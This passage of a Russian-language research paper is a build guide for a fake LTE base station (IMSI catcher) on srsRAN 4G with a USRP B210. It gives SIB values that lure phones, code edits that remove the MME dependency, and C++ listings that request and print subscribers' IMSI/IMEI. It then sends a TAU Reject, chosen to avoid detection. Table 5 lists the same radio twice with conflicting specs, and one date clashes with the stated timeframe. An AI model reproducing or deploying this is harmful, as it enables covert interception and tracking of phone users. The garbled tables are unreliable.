Далее ложная БС отправляет сообщение IDENTITY REQUEST (тип = IMSI), получая IMSI в IDENTITY RESPONSE.

4.3.3 Завершение процедуры.
Для минимизации прерывания сервиса рекомендуется отправить в ответ на сообщение UE TAU REQUEST сообщение TAU REJECT (код причины отказа EMM #13 «No suitable cells in tracking area») и RRCConnectionRelease, возвращая UE в легитимную сеть (3GPP TS 24.301, разделы 5.5.3.2.5 и 5.3.1.2).
Причина отказа «No suitable cells in tracking area» выбрана ввиду её локального характера - UE добавляет текущий TAI в список запрещённых областей (forbidden tracking areas for roaming), инициируя поиск альтернативных сот в других TA без глобальной блокировки PLMN, что минимизирует время простоя и снижает вероятность обнаружения аномалий (3GPP TS 36.304, раздел 5.2.4). В отличие от более строгих причин (например, #3 «Illegal UE»), #13 стимулирует быстрое восстановление обслуживания, сохраняя прежний контекст безопасности EPS (нет удаления GUTI/eKSI).

Ключевые модифицируемые параметры и их влияние на UE представлены в таблице 3:

Таблица 3.

Параметр (SIB)

Типичное значение

Рекомендуемое значение

Влияние на UE

q-RxLevMin (SIB1)

–122 dBm

–130 dBm

Снижение порога пригодности, ускорение переключения соты.

q-QualMin (SIB1)

– 20 dB

– 26 dB

Снижение порога пригодности соты при ухудшенном RSRQ.

trackingAreaCode (SIB1)

Любое.

Отличное от легитимного.

Инициация TAU и сигнализации.

cellReselectionPriority (SIB3/5)

3 - 6

7

Приоритет для измерений, удержание UE.

t-ReselectionEUTRA (SIB3/5)

1 с и выше

0 – 1 с

Ускорение переключения.

Примечание: Типичные значения основаны на дефолтных параметрах стандарта, но могут варьироваться в реальных сетях операторов [16].

Предлагаемые методы учитывают риски, такие как «ping-pong» эффекты или активацию механизмов обнаружения в современных UE (Release 15+), и предполагают дальнейшую экспериментальную проверку.
На основе предложенных методов перейдем к выбору платформы для их практической реализации.

5. Выбор открытой платформы.
Для реализации прототипа ложной базовой станции в рамках настоящего исследования требуется выбор подходящей платформы, обеспечивающей модифицируемость кода, совместимость с устройствами программно-определяемого радио (SDR) и простоту интеграции в экспериментальные сценарии. Среди существующих открытых проектов, ориентированных на SDR-платформы для мобильных сетей, наиболее релевантными являются «srsRAN 4G» (разработана Software Radio Systems), «OpenAirInterface» (OAI, поддерживается EURECOM), «gr-lte» (ранний проект анализа LTE-сигналов) и «OpenLTE» (открытый проект).

Результаты сравнительного анализа указанных проектов приведены в таблице 4:

Таблица 4.

Параметр

srsRAN 4G

OpenAirInterface (OAI)

gr-lte

OpenLTE

Функциональность

Полный стек для 4G/5G: eNB, UE, EPC; поддержка режимов NSA/SA; эмуляция сообщений для атак.

Полный стек для 4G/5G: RAN (eNB/gNB), Core Network (EPC/5GC); акцент на end-to-end тестировании; проверка эмуляции атак, с фокусом на 5G.

Модульный Downlink-ресивер для LTE; частичная поддержка PBCH, PCFICH, PHICH; неполная PDCCH; ориентирован на декодирование сигналов, а не на полную эмуляцию BS.

Downlink-ресивер для LTE; базовая поддержка PBCH/MIB; фокус на декодировании; неполный стек.

Поддержка SDR

USRP B210/X300 (Ettus), LimeSDR, BladeRF; оптимизирована для низкобюджетных устройств.

USRP, BladeRF, LimeSDR; эффективная интеграция, но требует калибровки реального времени.

Через GNU Radio: USRP, RTL-SDR; гибкая, но неспециализированная.

USRP и RTL-SDR; ограниченная совместимость с современным оборудованием.

Простота кода и модифицируемость

Высокая:
модульная структура на C++; простые API для интеграции и кастомизации; низкий порог входа для исследователей.

Средняя:

комплексный подход на C/C++; модульный, но более сложный из-за полноты стека; требует глубоких знаний протоколов.

Высокая:

блочная структура на базе GNU Radio; удобство в замене/расширении блоков (например, channel estimators).

Низкая:

устаревший код; ограниченная документация для модификаций.

Активность сообщества и последние обновления (по состоянию на декабрь 2025 года)

Высокая: регулярные обновления; GitHub-репозиторий с активными обсуждениями; упоминается в академических работах.

Высокая: обновления в 2025 году (фокус на OpenRAN); более 15 репозиториев в организации; сильное сообщество в EURECOM; интеграция с O-RAN.

Низкая: последний значимое обновление в 2026 году; ограниченная поддержка через списки рассылки GNU Radio; проект неактивен для новых функций.

Минимальная: последнее обновление кода в 2019 г.; отсутствие активного сообщества; проект считается устаревшим.

Производительность и пригодность для прототипирования ложной БС

Высокая в uplink/downlink;

Низкая задержка;
успешно применяется в прототипах;
удобство портативных конфигураций на Raspberry Pi.
Преимущества:
легкость модификации для атак.
недостатки: продвинутые возможности и оптимизации доступны в коммерческой версии.

Хорошая в end-to-end;

повышенная задержка в некоторых тестах; подходит для комплексных симуляций.
Преимущества: полный стек;
недостатки: сложность для быстрой доработки.

Средняя:

Подходит для анализа сигналов, но не для реального времени; частичная пригодность для пассивного мониторинга.
Преимущества:
модульность;
недостатки: неполная для активных атак.

Низкая:

базовый анализ;
не подходит для динамичных прототипов.
Преимущества: простота для начального этапа;
недостатки: отсутствие поддержки.

На основе анализа выбрана платформа «srsRAN 4G», поскольку она обеспечивает оптимальный баланс между технической гибкостью, простотой реализации и соответствием целям исследования. Альтернативы, такие как «OAI», менее предпочтительны из-за повышенной сложности, а «gr-lte» и «OpenLTE» – из-за устарелости и неполной функциональности.

Среди аппаратных платформ SDR, совместимых с srsRAN 4G/5G, особое внимание заслуживает «Ettus Research USRP B210» (включая модификации «B205mini» и «B210» с двумя антенными портами).
Выбор именно этой модели в 2025 году обосновывается совокупностью технических, эксплуатационных и экономических факторов, подтверждённых многолетним опытом академических и независимых исследований (2021–2025 гг.) [6, 7, 8, 9, 10]:
1. Полноценная поддержка MIMO 2×2.
«USRP B210» оснащён двумя синхронными приёмопередающими трактами («AD9361 RF transceiver»), что позволяет корректно формировать оба антенных порта (Antenna Port 0 и 1), передавать Cell-Specific Reference Signals на обоих портах и проходить проверку presenceAntennaPort1 в SIB1. Это обеспечивает совместимость как с LTE, так и с 5G NR Standalone (SA) и Non-Standalone (NSA) режимами в соответствии с 3GPP Release 15–18. Большинство альтернативных недорогих SDR («LimeSDR Mini», «BladeRF 2.0 Micro», «HackRF One») либо не имеют второго канала, либо не обеспечивают фазовую синхронизацию, что приводит к отказу в регистрации UE на eNodeB в режиме ожидания («camping») у 40–60 % современных UE (особенно Samsung Galaxy S21–S24, iPhone 13–16) [9].
2. Диапазон частот 70 МГц – 6 ГГц без внешних преобразователей.
Данный диапазон покрывает все действующие в мире диапазоны частот LTE и NR (включая sub-6 GHz для 5G) без дополнительных апконвертеров/даунконвертеров, что критично при полевых испытаниях в разных регионах [6].
3. Стабильность опорного генератора и точность синхронизации.
Встроенный TCXO с точностью 2.5 ppm (опционально GPSDO) обеспечивает удержание частоты с точностью, достаточной для устойчивой работы на расстоянии до 300 – 500 м в городских условиях. Отсутствие заметного дрейфа частоты устраняет необходимость постоянной перекалибровки, характерной для «LimeSDR» и «RTL-SDR» [7, 9].
4. Поддержка реального времени и низкая латентность.
Архитектура USRP Hardware Driver (UHD) и прямой доступ к «FPGA Xilinx Spartan-6» позволяют «srsRAN» обрабатывать весь стек LTE/5G NR в реальном времени при полосе до 20 МГц (с возможностью до 56 МГц для NR) на одном ядре Intel i5/i7 10–13 поколения или ARM Cortex-A72 (Raspberry Pi 5).
Эксперименты 2024 – 2025 гг. показывают устойчивую работу «B210» на загрузке CPU < 70 % при 100 одновременно подключённых UE в режиме RRC_IDLE, тогда как «LimeSDR Mini» и «BladeRF 2.0 Micro» в аналогичных условиях превышают 95 % загрузки и теряют тайминги [8, 10].
5. Энергопотребление и портативность.
Потребляемая мощность 2,5–3,5 Вт через один кабель USB 3.0 позволяет создавать полностью автономные решения (Raspberry Pi 5 + powerbank 20 000 мА·ч) с временем работы более 6 часов, что важно для полевых исследований [6].
6. Долгосрочная поддержка и доступность драйверов.
UHD-драйверы официально поддерживаются в основном ядре «srsRAN» с 2019 года и продолжают обновляться в 2025 году (включая улучшения для 5G NR), в отличие от частично устаревших драйверов BladeRF и LimeSDR [7].

Таблица 5. Сравнение популярных SDR-платформ для srsRAN 4G/5G в 2025 году.

Параметр	USRP B210	USRP B210	bladeRF 2.0 micro xA4	HackRF One
Число каналов Tx/Rx	2×2	1×1	2×2	1×1
Диапазон частот	70 МГц – 6 ГГц	100 кГц – 3,8 ГГц	47 МГц – 6 ГГц	1 МГц – 6 ГГц
Максимальная полоса	56 МГц (61.44 MS/s)	30 МГц	61.44 МГц (до 122.88 MS/s sampling)	20 МГц
MIMO 2×2 в LTE/5G NR	Полная поддержка	Нет	Полная поддержка	Нет
Опорный генератор	TCXO 2.5 ppm ± GPSDO	VCTCXO 0.5 ppm	VCTCXO 0.5 ppm (с PLL для 10 MHz)	TCXO 1 ppm
Потребляемая мощность	2.8 – 3.5 Вт	1.8 – 2.2 Вт	3.5 – 4.5 Вт	2.7 – 3.2 Вт
Совместимость srsRAN 2025.x	Отличная	Хорошая	Хорошая, но требует калибровки для MIMO	Ограниченная
Цена (декабрь 2025)	1800 USD (оригинал Ettus); 500 – 750 USD (совместимые аналоги)	400 USD	540 USD	300 – 350 USD

Таким образом, несмотря на более высокую стоимость оригинальной модели по сравнению с «LimeSDR Mini», «USRP B210» остаётся оптимальным выбором для академических и исследовательских задач, требующих максимальной совместимости с реальными UE, стабильности и воспроизводимости результатов. «bladeRF 2.0 micro xA4» — сильная альтернатива для бюджетного запуска, с полной поддержкой MIMO и совместимостью с srsRAN, хотя USRP B210 предпочтителен для высокой нагрузки (загрузка CPU может превышать 70% при множественных UE, на основе обсуждений сообщества и документации srsRAN).
В случаях крайне ограниченного бюджета допустима замена на «LimeSDR Mini 2.0», но с потерей поддержки MIMO 2×2 и снижением успешности захвата до 65–75 % на современных устройствах. Рекомендуется использовать совместимые аналоги «USRP B210» для снижения затрат без существенной потери функциональности [11].

Итоговый выбор платформы исследования: «srsRAN» 4G (версия 23.11) + «USRP B210» (или «B205mini» для одноантенных экспериментов) + одноплатный компьютер MeLE Fanless Mini PC N150 x86. Данная конфигурация обеспечивает наилучшее соотношение воспроизводимости, надёжности и соответствия требованиям 3GPP Release 15–18 в 2025 году.

6. Анализ исходного кода платформы «srsRAN 4G» актуальной версии.
Анализ исходного кода платформы «srsRAN 4G» (версия 23.11, по состоянию на ноябрь 2023 года) проведён на основе открытого репозитория проекта [12].
Код проекта написан преимущественно на C++ с использованием библиотек ASN.1 (для протоколов) и UHD (для SDR-устройств, таких как USRP B210).
Платформа «srsRAN 4G» представляет собой открытую реализацию стека LTE eNB (Evolved Node B), включая уровни RRC (Radio Resource Control) и S1AP (S1 Application Protocol).
Платформа также включает встроенный симулятор EPC (Evolved Packet Core) под названием srsepc, который реализует функциональность MME (Mobility Management Entity), HSS (Home Subscriber Server) и S/P-GW (Serving/Packet Data Network Gateway), что позволяет решению работать в качестве полноценной тестовой сети без внешнего EPC, но с ключевой зависимостью: тестовые UE должны быть заранее определены в файле конфигурации HSS (user_db.csv) с указанием IMSI, ключей аутентификации (K, OP/OPc) и других параметров.

Для адаптации платформы «srsRAN 4G» под прототип ложной БС необходимо выявить и обойти эти зависимости, сосредоточившись на модификации верхних уровней стека для обработки подключений UE без аутентификации.

6.1 Общая структура платформы «srsRAN 4G».
Платформа «srsRAN 4G» организована как модульный стек – структура проекта разделена на компоненты: srsenb (eNodeB), srsepc (симулятор EPC), srsue (UE-эмулятор) и вспомогательные утилиты.
Для прототипа ложной БС ключевым является компонент eNodeB, управляющий радиоинтерфейсом и сигнализацией.

6.1.1 Структура директорий в репозитории.
Основные директории и их назначение представлены в таблице 6.

Таблица 6.

Директория	Основное содержимое	Назначение и роль
lib/	src/asn1/, src/phy/, src/mac/, src/rlc/, src/pdcp/, src/upper/, src/common/	Общие библиотеки проекта: реализация стека протоколов (ASN.1, PHY, MAC, RLC, PDCP), поддержка RF-драйверов (UHD, SoapySDR) и улититы. Базовая функциональность для протоколов и SDR.
srsenb/	src/stack (rrc/, s1ap/, upper/, mac/), src/phy/; enb.cc, enb.conf.example	Реализация eNodeB; ключ для модификаций радиоинтерфейса и сигнализации.
srsepc/	src/mme/, src/hss/, src/spgw/; epc.cc, epc.conf.example	Симулятор EPC; может быть отключен для standalone-режима eNodeB.
srsue/	src/stack/ (nas/, rrc/, upper/), src/phy/; ue.cc, ue.conf.example main.cc, ue.conf	Эмулятор UE для тестирования взаимодействия с eNodeB.
cmake/	modules/ (FindUHD.cmake и прочие)	Конфигурация сборки проекта; поиск зависимостей.
docs/	source/ (installation.rst)	Справочные материалы.
test/	phy/, protocol/	Тестовые наборы для верификации функциональности и модификаций.

Данная структура обеспечивает внесение изменений в отдельные компоненты без влияния на остальные части проекта. Конфигурационные файлы (например, enb.conf.example) содержат примеры параметров запуска соответствующих модулей.

6.1.2 Взаимодействие компонентов платформы.
Платформа «srsRAN 4G» моделирует полную LTE-сеть: UE (srsue) ↔ eNB (srsenb) ↔ EPC (srsepc).

Компоненты платформы исполняются как независимые процессы в операционной системе Linux и взаимодействуют посредством стандартных интерфейсов LTE.
1. Взаимодействие между UE (srsue) и eNB (srsenb) осуществляется через радиоинтерфейс Uu, включающий многоуровневый стек протоколов LTE.
На физическом уровне (PHY) происходит обработка радиосигналов, включая модуляцию.
Уровень MAC отвечает за планирование ресурсов и HARQ. RLC обеспечивает сегментацию пакетов, PDCP — шифрование, а RRC — установку соединений.
2. Для взаимодействия между eNB (srsenb) и EPC (srsEPC) используется интерфейс S1, разделенный на контрольную (S1-AP для сообщений к MME, включая соединение и пейджинг) и пользовательскую (GTP-U для туннелирования IP-пакетов) плоскости.
В srsEPC интегрированы MME для управления мобильностью, HSS для хранения данных пользователей и шлюзы S-GW/P-GW для маршрутизации.
3. Взаимодействие EPC с внешней средой обеспечивается через интерфейс SGi как виртуальный TUN-интерфейс.

В качестве примера типичного потока данных рассмотрим процедуру присоединения UE: srsue инициирует запрос через RRC и NAS к srsenb, который перенаправляет его в EPC по S1AP. EPC проводит аутентификацию с помощью HSS и MME, после чего устанавливает GTP-U-туннель.
Последующий трафик следует по пути UE → eNB → EPC → Внешняя сеть.

В стандарте LTE NAS-сообщения инкапсулируются в контейнерах RRC (например, в сообщении RRC Connection Setup Complete), где eNB не интерпретирует их содержание, а лишь извлекает и перенаправляет в MME через S1AP.
Однако в открытой платформе «srsRAN 4G», благодаря доступу к ASN.1-парсингу в библиотеке lib/asn1 и логике обработки RRC в модуле rrc_ue.cc (eNB), возможно модифицировать код для локальной интерпретации и генерации незащищенных NAS-сообщений.

Таким образом, для работы ложной БС поток данных может быть ограничен только контуром UE → eNB, где на уровне eNB необходимо отключить интерфейс S1AP и реализовать обмен NAS-сообщениями напрямую, без MME.

6.2 Анализ исходного кода платформы.
Согласно структуре файлов в репозитории, за реализацию обмена модуля eNB с MME по протоколу S1AP отвечает модуль «srsenb/src/stack/s1ap/s1ap.cc»; за обработку сообщений уровня NAS – модуль «srsenb/src/stack/rrc/rrc_ue.cc».

6.2.1 Анализ S1AP-модуля eNB (srsenb/src/stack/s1ap/s1ap.cc)
Модуль S1AP (из файла s1ap.cc) реализует протокол S1 Application Protocol (S1AP) в соответствии со спецификацией 3GPP TS 36.413. Он отвечает за управление соединением между eNodeB (eNB) и Mobility Management Entity (MME), который в srsRAN интегрирован в srsEPC (Evolved Packet Core).
Код основан на библиотеке ASN.1 для упаковки/распаковки сообщений и использует SCTP (Stream Control Transmission Protocol) для транспорта.

Инициализация модуля происходит в методе s1ap::init(const s1ap_args_t& args_, rrc_interface_s1ap* rrc_).
В качестве входных параметров используется структура s1ap_args_t, которая содержит параметры конфигурации (MME адрес, MCC/MNC, eNB ID, TAC, таймауты), извлекаемые из конфигурационного файла enb.conf, и интерфейс к RRC (rrc_) для взаимодействия с нижними слоями.

Ключевые этапы инициализации:
1. Вычисление PLMN (Public Land Mobile Network) из MCC/MNC и построение TAI (Tracking Area Identity) и EUTRAN_CGI (Cell Global Identity) с помощью build_tai_cgi(). Это критично для идентификации eNB в сети.
2. Настройка таймеров:

mme_connect_timer: для повторных попыток подключения к MME (по умолчанию 10 секунд, с колбэком для перезапуска s1setup_proc).
s1setup_timeout: таймаут на S1 Setup (5 секунд, с обработкой отказа).

3. Установка флага running = true.
4. Запуск процедуры подключения к MME через s1setup_proc.launch(). Это асинхронная процедура, которая устанавливает SCTP-соединение и отправляет S1 Setup Request.

После инициализации модуль переходит в состояние «ожидания соединения», полная готовность достигается после получения успешного ответа S1 Setup Response от MME.

Предложения по доработке: для автономной работы ложной БС без ограничений встроенного симулятора EPC достаточно закомментировать вызов процедуры s1setup_proc.launch() в s1ap.cc, чтобы прототип запускался без EPC.
Это позволит обойти зависимость от MME/HSS и обрабатывать подключения UE напрямую.

6.2.2. Анализ RRC UE-модуля eNB (srsenb/src/stack/rrc/rrc_ue.cc).
Модуль rrc_ue.cc реализует управление состоянием UE) на уровне Radio Resource Control согласно 3GPP TS 36.331 и фокусируется на индивидуальном UE, управляя переходами между режимами (RRC_IDLE, RRC_CONNECTED), обработкой сообщений UL/DCCH, таймерами, безопасностью, процедурой «handover» (HO) и радио-носителями (SRB/DRB).

Ключевые методы модуля:
1. Обработка сообщений RRC.
void rrc::ue::handle_rrc_con_req(rrc_conn_request_s* msg)
Обрабатывает входящий запрос RRCConnectionRequest от UE (UL-CCCH-Msg). Проверяет возможность установки соединения, выделяет ресурсы (PUCCH), инициирует Setup.
void rrc::ue::send_connection_setup()
Генерирует и отправляет сообщение RRCConnectionSetup (DL-CCCH-Msg) UE. Настраивает dedicated ресурсы (RR config), применяет к MAC/RLC/PDCP/PHY. Это ответ на RRCConnectionRequest, переводящий UE в CONNECTED.
void rrc::ue::handle_rrc_con_setup_complete(rrc_conn_setup_complete_s* msg, srsran::unique_byte_buffer_t pdu)
Обрабатывает сообщение RRCConnectionSetupComplete от UE. Транслирует NAS PDU в MME (S1AP initial_ue), проверяет RLF-info, завершает установку соединения.

2. Обработка Сообщений UL/DCCH.
void rrc::ue::parse_ul_dcch(uint32_t lcid, srsran::unique_byte_buffer_t pdu)
Центральный обработчик uplink DCCH-сообщений от UE. Управляет переходами состояний UE, изменяет таймеры, параметры безопасности, транслирует сообщения NAS и данные измерений.

Логика работы:
1. Распаковывает ul_dcch_msg_s из PDU (ASN.1 unpack); если ошибка — логирует отказ.
2. Логирует сообщение (Rx, тип, например, "rrcConnectionReconfigurationComplete").
3. Создает копию PDU для handlers (при необходимости).
4. Выполняет действие по типу сообщения:

RRCConnectionSetupComplete: вызывает handle_rrc_con_setup_complete(), таймаут UE_INACTIVITY_TIMEOUT.
RRCConnectionReestComplete: handle_rrc_con_reest_complete(), таймаут UE_INACTIVITY_TIMEOUT.
ULInformationTransfer: копирует NAS PDU, вызывает S1AP write_pdu.
RRCConnectionReconfigurationComplete: handle_rrc_reconf_complete(), состояние REGISTERED, таймаут UE_INACTIVITY_TIMEOUT.
SecurityModeComplete: handle_security_mode_complete(), запрашивает UE caps (EUTRA), состояние WAIT_FOR_UE_CAP_INFO.
SecurityModeFailure: handle_security_mode_failure() (reject).
UECapabilityInformation: handle_ue_cap_info(); если EN-DC — запрашивает NR caps, иначе reconfiguration.
MeasurementReport: если REGISTERED — транслирует в mobility/endc (для HO/ENDC); иначе игнорирует (до Reconf complete).
UEInformationResponse: handle_ue_info_resp() (RLF/trace info).
другие: логирует "not supported".

5. Выполняет инкремент transaction_id (при необходимости).

Предложения по доработке:
1. Для продолжения работы прототипа без MME/HSS - игнорировать проверку в методе handle_rrc_con_req() (закомментировать if-блок), позволяя обработку сообщения RRC Connection Request от UE независимо от состояния подключения к MME.
2. При обработке сообщения RRC Connection Setup Complete в методе handle_rrc_con_setup_complete() заменить функционал трансляции сообщений NAS в S1AP (parent->s1ap->initial_ue(rnti, enb_cc_idx, s1ap_cause, std::move(pdu), m_tmsi, mmec);) вызовом новой функции send_identity_request() (см. Листинг 1), которая отправит сообщение NAS IDENTITY REQUEST в адрес UE.
3. Для обработки ответного сообщения IDENTITY RESPONSE внутри метода parse_ul_dcch() (в части обработки ULInformationTransfer) заменить функционал трансляции сообщений NAS в S1AP (parent->s1ap->write_pdu(rnti, std::move(pdu));) вызовом новой функции handle_identity_response() (см. Листинг 2). В данной функции реализовать обработку сообщения IDENTITY RESPONSE, извлечение IMSI/IMEI/TMSI и вывод полученной информации в консоль, затем вызов функций для отправки сообщений TAU REJECT и RRCConnectionRelease для возврата UE в легитимную сеть и завершения сессии.

Листинг 1. Функция send_identity_request().

C++:

void rrc::ue::send_identity_request()
{
  // Создание структуры сообщения DL-DCCH (Downlink Dedicated Control Channel) для передачи NAS-сообщения.
  // DL-DCCH используется для передачи dedicated сигнализации от eNB к UE (TS 36.331, раздел 6.2.2).
  dl_dcch_msg_s dl_dcch_msg;
  // Установка типа сообщения как C1 (Critical Extensions), который включает DLInformationTransfer для NAS PDU.
  dl_dcch_msg.msg.set_c1();
  // Получение указателя на структуру C1 для дальнейшей настройки сообщения DLInformationTransfer.
  dl_dcch_msg_type_c::c1_c_* msg_c1 = &dl_dcch_msg.msg.c1();
  // Настройка IES (Information Elements) для DLInformationTransfer (R8 - Release 8).
  // Это сообщение используется для передачи NAS PDU от сети к UE без изменений на уровне RRC (TS 36.331, раздел 5.6.1).
  dl_info_transfer_r8_ies_s* dl_info_r8 = &msg_c1->set_dl_info_transfer().crit_exts.set_c1().set_dl_info_transfer_r8();
  // Установка флага non_crit_ext_present в false, так как не используются non-critical extensions (опциональные расширения).
  dl_info_r8->non_crit_ext_present = false;
  // Установка типа dedicated информации как NAS (Non-Access Stratum), то есть сообщение предназначено для NAS-уровня.
  dl_info_r8->ded_info_type.set_ded_info_nas();
  // Размер NAS PDU устанавливается в 3 байта: это минимальный формат Identity Request (TS 24.301, раздел 8.2.16).
  dl_info_r8->ded_info_type.ded_info_nas().resize(3);
  // Формирование сырых байтов NAS-сообщения Identity Request.
  // - Первый байт: 0x07 - Protocol Discriminator (PD=7 для EMM - EPS Mobility Management) + Security Header Type (sec_hdr=0 - no security).
  //   Бинарно: 0111 (PD) + 0000 (sec_hdr) = 0x07 (TS 24.007, раздел 11.2.3).
  // - Второй байт: 0x55 - Message Type: Identity Request (TS 24.301, таблица 9.9.3.1.1).
  // - Третий байт: 0x01 - Identity Type: IMSI (TS 24.301, раздел 9.9.3.17; bits 0-2=001 для IMSI).
  uint8_t identity_request_raw[3] = {0x07, 0x55, 0x01};
  // Копирование сырых байтов NAS-сообщения в буфер dedicated информации.
  // memcpy используется для прямого копирования массива в вектор ASN.1 (data() возвращает указатель на внутренний буфер).
  memcpy(msg_c1->dl_info_transfer().crit_exts.c1().dl_info_transfer_r8().ded_info_type.ded_info_nas().data(),
         identity_request_raw,
         3);
  // Отправка сформированного DL-DCCH сообщения на нижние уровни (MAC/PDCP и т.д.) для передачи UE.
  // Функция send_dl_dcch() упаковывает и отправляет сообщение по радиоканалу (TS 36.331, раздел 5.3.3).
  send_dl_dcch(&dl_dcch_msg);
}

Листинг 2. Функция handle_identity_response().

C++:

void rrc::ue::handle_identity_response(uint16_t rnti, uint8_t* msg, uint32_t msg_len)
{
  // Установка указателя на начало сообщения для обработки.
  uint8_t* ptr = msg;
  // Проверка младших 3 бит первого байта: должно быть 0b111 (0x07) для EPS Mobility Management (EMM) сообщений (TS 24.007, раздел 11.2.3).
  // Если не совпадает, сообщение не является EMM, и функция завершается.
  if ((*ptr & 0b111) != 0b111) {
  return;
  }
  // Проверка старших 4 бит первого байта: если установлен бит integrity protection (0b10000), сообщение защищено.
  // В этом случае сдвигаем указатель на 6 байт (security header: NAS count + MAC, TS 24.301, раздел 4.4).
  while (*ptr & 0b10000) {
  ptr += 6;
  // Проверка, не вышел ли указатель за пределы сообщения после сдвига.
  if (ptr - msg > msg_len) {
  return;
  }
  }
  // Проверка второго байта: должно быть 0x56 для Identity Response (TS 24.301, таблица 9.9.3.1.1).
  // Если не совпадает, завершаем функцию.
  if (ptr[1] != 0x56) {
  return;
  }
  // Теперь обрабатываем Mobile Identity IE (Information Element) по аналогии с liblte_mme_unpack_mobile_id_ie (TS 24.008, раздел 10.5.1.4).
  // Сдвиг на 2 байта от начала (первый — PD/sec_hdr, второй — msg type), затем чтение length.
  uint8_t* ie_ptr = ptr + 2;
  uint32_t length = ie_ptr[0];
  ie_ptr++;
  // Инициализация переменных для типа идентификатора и буферов.
  std::string identity_type = "";
  uint32_t i;
  uint8_t* id;
  uint8_t imsi[15];
  uint8_t imei[15];
  uint8_t imeisv[16];
  bool odd = false;
  // Извлечение типа идентификатора из младших 3 бит первого байта IE (TS 24.008, раздел 10.5.1.4: bits 1-3).
  uint8_t type_of_id = *ie_ptr & 0b111;
  // Обработка типа идентификатора.
  switch (type_of_id) {
  case 0x1: // IMSI
  {
  identity_type = "IMSI";
  id = imsi;
  odd = true;
  break;
  }
  case 0x2: // IMEI
  {
  identity_type = "IMEI";
  id = imei;
  odd = true;
  break;
  }
  case 0x3: // IMEISV
  {
  identity_type = "IMEISV";
  id = imeisv;
  odd = false;
  break;
  }
  case 0x4: // TMSI
  identity_type = "TMSI";
  odd = false;
  break;
  default:
  // Вывод ошибки для неизвестного типа и завершение функции.
  srsran::console("Unknown identity type: %d\n", type_of_id);
  return;
  }
  // Обработка IMSI/IMEI/IMEISV: BCD-кодировка (Binary Coded Decimal).
  if (type_of_id != 0x4) {
  // Первая цифра (d1) — старшие 4 бита первого байта IE (TS 24.008, рисунок 10.5.4).
  id[0] = *ie_ptr >> 4;
  ie_ptr++;
  // Цикл по 7 байтам: распаковка BCD (каждый байт — две цифры: low nibble первая, high вторая).
  for (i = 0; i < 7; i++) {
  id[i * 2 + 1] = ie_ptr[i] & 0x0f;
  id[i * 2 + 2] = ie_ptr[i] >> 4;
  }
  // Для odd (15 цифр): сдвиг на 7 байт; для even (16): на 8, с обработкой последней цифры.
  // Примечание: в коде для even: & 0x0f — маскировка filler (0xF) для последней цифры.
  if (odd) {
  ie_ptr += 7;
  } else {
  id[i * 2 + 1] = ie_ptr[i] & 0x0f;
  ie_ptr += 8;
  }
  // Сборка строки из цифр для вывода.
  std::ostringstream oss;
  uint32_t identity_buffer_size = 0;
  if (type_of_id == 0x3) { // 16
  identity_buffer_size = 16;
  } else { // 15
  identity_buffer_size = 15;
  }
  for (uint32_t j = 0; j < identity_buffer_size; j++) {
  if (id[j] != 0xf) {  // Фильтрация filler (0xF) для избежания вывода '15' вместо пустоты (TS 24.008).
  oss << static_cast<int>(id[j]);
  }
  }
  // Вывод в консоль с цветом (ANSI escape: желтый) для выделения захваченного идентификатора.
  srsran::console("\033[33mCatched identity %s: %s\033[0m\n", identity_type.c_str(), oss.str().c_str());
  } else {
  // Для TMSI: сдвиг на 1 байт (type), затем чтение 4 байт как big-endian integer.
  ie_ptr += 1;
  uint32_t tmsi = 0;
  for (i = 0; i < 4; i++) {
  tmsi += (ie_ptr[i] & 0xff) << ((3 - i) * 8);
  }
  // Вывод TMSI в консоль.
  srsran::console("UE TMSI: %u\n", tmsi);
  }
  // Отправка собщения TAU REJECT с причиной 13 ("No suitable cells in tracking area") для минимизации прерываний сервиса (TS 24.301, раздел 5.5.1.2.5).
  send_tau_reject(13);
  // Отправка RRC Connection Release для чистого завершения соединения и возврата UE в легитимную сеть (TS 36.331, раздел 5.3.8).
  send_connection_release();
}

Листинг 3. Функция send_tau_reject().

C++:

void rrc::ue::send_tau_reject(uint8_t emm_cause)
{
dl_dcch_msg_s dl_dcch_msg;
dl_dcch_msg.msg.set_c1();
dl_dcch_msg_type_c::c1_c_* msg_c1 = &dl_dcch_msg.msg.c1();
dl_info_transfer_r8_ies_s* dl_info_r8 = &msg_c1->set_dl_info_transfer().crit_exts.set_c1().set_dl_info_transfer_r8();
dl_info_r8->non_crit_ext_present = false;
dl_info_r8->ded_info_type.set_ded_info_nas();
dl_info_r8->ded_info_type.ded_info_nas().resize(3);
// Формирование сырых байтов NAS-сообщения TAU Reject.
// - Первый байт: 0x07 - Protocol Discriminator (PD=7 для EMM - EPS Mobility Management) + Security Header Type (sec_hdr=0 - no security).
// Бинарно: 0111 (PD) + 0000 (sec_hdr) = 0x07 (TS 24.007, раздел 11.2.3).
// - Второй байт: 0x4B - Message Type: TAU Reject (TS 24.301, таблица 9.9.3.1.1).
// - Третий байт: emm_cause - Причина отказа (EMM cause), передаваемая как параметр (например, #13 - No suitable cells in tracking area).
uint8_t tau_reject_raw[3] = {0x07, // PD=7 (0111) + sec_hdr=0 (0000) = 00000111
0x4B, // Message type: TAU reject
emm_cause}; // EMM cause
// Копирование сырых байтов NAS-сообщения в буфер dedicated информации.
// memcpy используется для прямого копирования массива в вектор ASN.1 (data() возвращает указатель на внутренний буфер).
memcpy(dl_info_r8->ded_info_type.ded_info_nas().data(),
tau_reject_raw,
3);
send_dl_dcch(&dl_dcch_msg);
// Вывод в консоль для отладки: подтверждение отправки TAU Reject с указанием причины.
srsran::console("Sent TAU Reject with EMM cause=0x%02x\n", emm_cause);
}

6.2.3 Анализ и доработка модуля enb_cfg_parser.cc для поддержки параметра q-QualMin в SIB1.
Для реализации модификации параметра q-QualMin в сообщении SIB1, как указано в разделе 4.3.1 (снижение порога качества для привлечения UE), требуется доработка модуля enb_cfg_parser.cc платформы «srsRAN 4G».
Модуль отвечает за парсинг конфигурационных файлов и формирование ASN.1-структур SIB, включая поддержку non-critical extensions для версий стандарта Release 9 и выше (3GPP TS 36.331 [15], раздел 6.2.2).
Параметр q-QualMin (минимальное качество сигнала в dB) добавляется в структуру cell_selection_info_v920 внутри non_critical_extension_v920, что позволяет манипулировать критерием Squal.

Листинг 4. Доработка функции parse_sib1() в модуле enb_cfg_parser.cc.

C++:

int parse_sib1(std::string filename, sib_type1_s* data)
{
  parser::section sib1("sib1");

  sib1.add_field(make_asn1_enum_str_parser("intra_freq_reselection", &data->cell_access_related_info.intra_freq_resel));
  sib1.add_field(new parser::field<int8>("q_rx_lev_min", &data->cell_sel_info.q_rx_lev_min));
